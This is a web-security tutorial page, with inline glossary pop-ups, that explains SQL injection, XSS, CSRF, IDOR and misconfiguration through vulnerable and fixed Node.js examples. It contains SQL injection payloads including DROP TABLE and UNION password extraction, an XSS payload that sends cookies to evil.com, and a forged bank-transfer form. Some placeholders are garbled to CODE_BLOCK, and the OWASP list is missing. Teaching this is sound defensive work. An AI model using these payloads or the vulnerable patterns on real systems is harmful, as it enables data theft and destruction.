SQL injectionWhat is sql injection?An attack where user input is inserted directly into a database query, letting the attacker read, modify, or delete data. Parameterized queries prevent it. Ask AI for more

How the attack works

When you build a SQLWhat is sql?A language for querying and managing data in relational databases, letting you insert, read, update, and delete rows across tables. Ask AI for more query by concatenating user-supplied strings, an attacker can break out of the string context and write their own SQL. A classic example:

// Vulnerable - never do this
const query = `SELECT * FROM users WHERE email = '${email}'`;
await db.query(query);

// If email is: ' OR '1'='1
// The query becomes:
// SELECT * FROM users WHERE email = '' OR '1'='1'
// This returns every row in the table

More destructive payloads: '; DROP TABLE users; -- deletes your entire users table. ' UNION SELECT password FROM admins -- extracts data from other tables.

Prevention: parameterized queries

Parameterized queries send the SQL and the data separately, the database driver handles quoting, so injection is structurally impossible:

// PostgreSQL with pg
const result = await db.query(
  'SELECT * FROM users WHERE email = CODE_BLOCK',
  [email]
);

// Prisma (ORM handles it automatically)
const user = await prisma.user.findFirst({
  where: { email }
});

// Sequelize (also safe by default)
const user = await User.findOne({ where: { email } });

Cross-site scriptingWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. Ask AI for more (XSS)

Types of XSS

XSS lets an attacker inject JavaScript into your page that runs in other users' browsers. There are three variants:

What attackers do with XSS

// Vulnerable server-side template
app.get('/profile', (req, res) => {
  res.send(`<h1>${req.query.name}</h1>`);
  // Visiting /profile?name=<script>document.location='evil.com?c='+document.cookie</script>
  // Steals the user's cookies
});

Prevention

Modern frameworks like React escape output by default:

// Safe - React escapes {name} before rendering it
function Profile({ name }) {
  return <h1>{name}</h1>;
}

// Dangerous - bypasses React's escaping
function Risky({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

For server-rendered HTML, escape manually:

import { escapeHtml } from 'lodash';

const safeName = escapeHtml(userInput);
// <script> becomes &lt;script&gt;

Add a Content Security PolicyWhat is content security policy?An HTTP header that tells the browser which sources of scripts, styles, and other resources are allowed to load on your page, blocking unauthorized code. Ask AI for more as a second line of defense:

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],  // Blocks inline scripts entirely
    styleSrc: ["'self'"]
  }
}));

Cross-site request forgeryWhat is csrf?Cross-Site Request Forgery - an attack where a malicious website tricks your browser into sending a request to another site where you're logged in. Ask AI for more (CSRF)

How the attack works

CSRF exploits the fact that browsers attach cookies to every request, even cross-originWhat is origin?The combination of protocol, domain, and port that defines a security boundary in the browser, like https://example.com:443. Ask AI for more ones. An attacker hosts a page that auto-submits a form to your APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses. Ask AI for more:

<!-- On attacker.com -->
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>

If the user is logged into bank.com, their sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. Ask AI for more cookieWhat is cookie?A small piece of data the browser stores and automatically sends with every request to the matching server, often used for sessions. Ask AI for more is attached and the transfer goes through.

Prevention

The cleanest modern solution is SameSite: Lax cookies, the browser simply won't attach them to cross-origin POST requests:

res.cookie('session', token, { sameSite: 'lax' });

For older browser support or situations where you need SameSite: None, add a CSRF tokenWhat is token?The smallest unit of text an LLM processes - roughly three-quarters of a word. API pricing is based on how many tokens you use. Ask AI for more to every state-changing request:

import csrf from 'csurf';

app.use(csrf({ cookie: true }));

app.get('/transfer', (req, res) => {
  res.render('transfer', { csrfToken: req.csrfToken() });
});
// Form: <input type="hidden" name="_csrf" value="{{csrfToken}}">

Insecure direct object references (IDORWhat is idor?Insecure Direct Object Reference - a vulnerability where an API lets any logged-in user access any resource by simply changing the ID in the URL. Ask AI for more)

The vulnerability

IDOR happens when you use a user-supplied ID to fetch a resource without checking whether that user is allowed to see it:

// Vulnerable - any authenticated user can fetch any invoice
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const invoice = await db.getInvoice(req.params.id);
  res.json(invoice); // Returns invoice even if it belongs to someone else
});

An attacker just needs to iterate IDs: /api/invoices/1, /api/invoices/2, etc.

// Fixed - verify ownership on every request
app.get('/api/invoices/:id', requireAuth, async (req, res) => {
  const invoice = await db.getInvoice(req.params.id);

  if (!invoice) {
    return res.status(404).json({ error: 'Not found' });
  }

  if (invoice.userId !== req.user.id && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'Access denied' });
  }

  res.json(invoice);
});

Security misconfiguration

Common mistakes

Security misconfiguration is the most common vulnerability in production systems because it doesn't require writing bad code, just forgetting to change defaults:

// Leaking stack traces in error responses
// Before (bad):
app.use((err, req, res, next) => {
  res.status(500).json({ error: err.stack }); // Full stack trace to the client
});

// After (good):
app.use((err, req, res, next) => {
  console.error(err); // Log internally
  res.status(500).json({
    error: process.env.NODE_ENV === 'production'
      ? 'Internal server error'
      : err.message
  });
});

Keep secrets out of your code entirely, use environment variables and never commitWhat is commit?A permanent snapshot of your staged changes saved in Git's history, identified by a unique hash and accompanied by a message describing what changed. Ask AI for more .env files:

// Never hardcode credentials
const secret = process.env.JWT_SECRET;     // Good
const secret = 'my-secret-key-123';        // Never do this

OWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Ask AI for more Top 10 (2021)

The OWASP Top 10 is the authoritative list of the most critical web application security risks:

Quick reference

// SQL injection - use parameterized queries
await db.query('SELECT * FROM users WHERE id = CODE_BLOCK', [id]);

// XSS - escape output or use a framework that does it for you
const safe = escapeHtml(userInput);

// CSRF - SameSite cookies or token validation
res.cookie('token', value, { sameSite: 'lax' });

// IDOR - always check ownership
if (resource.userId !== req.user.id) {
  return res.status(403).json({ error: 'Forbidden' });
}